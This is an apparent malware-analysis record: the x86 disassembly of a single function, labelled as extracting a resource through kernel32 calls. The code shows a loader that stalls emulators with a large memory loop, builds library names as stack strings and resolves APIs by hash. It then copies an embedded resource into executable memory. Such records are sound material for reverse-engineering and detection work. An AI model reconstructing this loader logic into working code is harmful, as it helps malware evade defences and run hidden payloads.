Function at 0x10002df0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
sub esp, 0x38
mov eax, dword [0x1004a570]
xor eax, esp
mov dword [esp + 0x34], eax
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x4c]
call fcn.10003f90
mov esi, eax
push 0xa
mov ecx, esi
call fcn.100036b0
mov eax, dword [esi]
mov ecx, dword [eax + 4]
lea eax, [ecx + esi]
xor ebp, ebp
xor ebx, ebx
test byte [eax + 8], 6
jne 0x10002e3e
mov eax, dword [eax + 0x28]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x30]
call eax
cmp eax, 0xffffffff
jne 0x10002e3e
mov ebx, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
cmp ebx, ebp
je 0x10002e5d
mov eax, dword [ecx + 8]
or eax, ebx
cmp dword [ecx + 0x28], ebp
jne 0x10002e56
or eax, 4
push ebp
push eax
call fcn.10002ca0
mov edx, dword [esp + 0x50]
mov eax, dword [esp + 0x54]
push 0x5f5e100
mov dword [0x1004e958], edi
mov dword [0x1004e95c], edx
mov dword [0x1004e960], eax
call fcn.1001f6c6
add esp, 4
cmp eax, ebp
je 0x10003076
xor ebx, ebx
lea ecx, [ecx]
mov byte [ebx + eax], bl
add ebx, 1
cmp ebx, 0x5f5e100
jb 0x10002e90
push eax
call fcn.1001f789
add esp, 4
cmp ebx, 0x5f5e100
jne 0x10003076
push 0x10040194
push 0x1238
push edi
mov dword [0x1004bd38], ebp
mov dword [0x1004bd3c], ebp
mov dword [0x1004bd40], ebp
mov dword [0x1004bd48], ebp
mov dword [0x1004bd44], ebp
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
mov eax, 0x65
mov ecx, 0x64
mov word [esp + 0x2a], ax
mov word [esp + 0x30], ax
mov eax, 0x6c
mov edx, 0x2e
mov edi, 0x6e
mov word [esp + 0x28], 0x6b
mov word [esp + 0x2c], 0x72
mov word [esp + 0x2e], di
mov word [esp + 0x32], ax
mov word [esp + 0x34], 0x33
mov word [esp + 0x36], 0x32
mov word [esp + 0x38], dx
mov word [esp + 0x3a], cx
mov word [esp + 0x3c], ax
mov word [esp + 0x3e], ax
mov word [esp + 0x40], bp
mov word [esp + 0x14], di
mov word [esp + 0x16], 0x74
mov word [esp + 0x18], cx
mov word [esp + 0x1a], ax
mov word [esp + 0x1c], ax
mov word [esp + 0x1e], dx
mov word [esp + 0x20], cx
mov word [esp + 0x22], ax
mov word [esp + 0x24], ax
mov word [esp + 0x26], bp
call fcn.10002a50
test eax, eax
jne 0x10002fa8
lea ecx, [esp + 0x28]
push ecx
call fcn.10002660
add esp, 4
mov edi, eax
jmp 0x10002faa
mov edi, ebp
lea edx, [esp + 0x14]
push edx
call fcn.10002660
add esp, 4
call fcn.10002a50
test eax, eax
jne 0x10002fd3
push 0x4694108d
push edi
call fcn.10002740
add esp, 8
mov dword [0x1004e950], eax
push 0x2d43a8d0
push edi
call fcn.10002740
add esp, 8
cmp eax, ebp
mov dword [0x1004e94c], eax
je 0x1000300c
push ebp
push 0x40
push str.8192
call fcn.1001fb17
add esp, 4
or eax, 0x1000
push eax
push esi
push ebp
push 0xffffffffffffffff
call dword [0x1004e94c]
jmp 0x10003029
push 0x40
push str.8192
call fcn.1001fb17
add esp, 4
or eax, 0x1000
push eax
push esi
push ebp
call dword [0x1004e950]
push esi
mov edi, eax
push ebx
push edi
call fcn.10026280
push 0x64c1
call fcn.1001f6c6
mov ebx, eax
push ebx
call fcn.10002130
push esi
push edi
push ebx
call fcn.10002400
add esp, 0x20
push esi
push edi
call fcn.10001cf0
pop edi
pop esi
pop ebp
mov dword [0x1004e964], eax
mov eax, 1
pop ebx
mov ecx, dword [esp + 0x34]
xor ecx, esp
call fcn.1001f166
add esp, 0x38
ret 0xc
push 0x10040170
call fcn.1001fa41
mov ecx, dword [esp + 0x48]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
xor eax, eax
call fcn.1001f166
add esp, 0x38
ret 0xc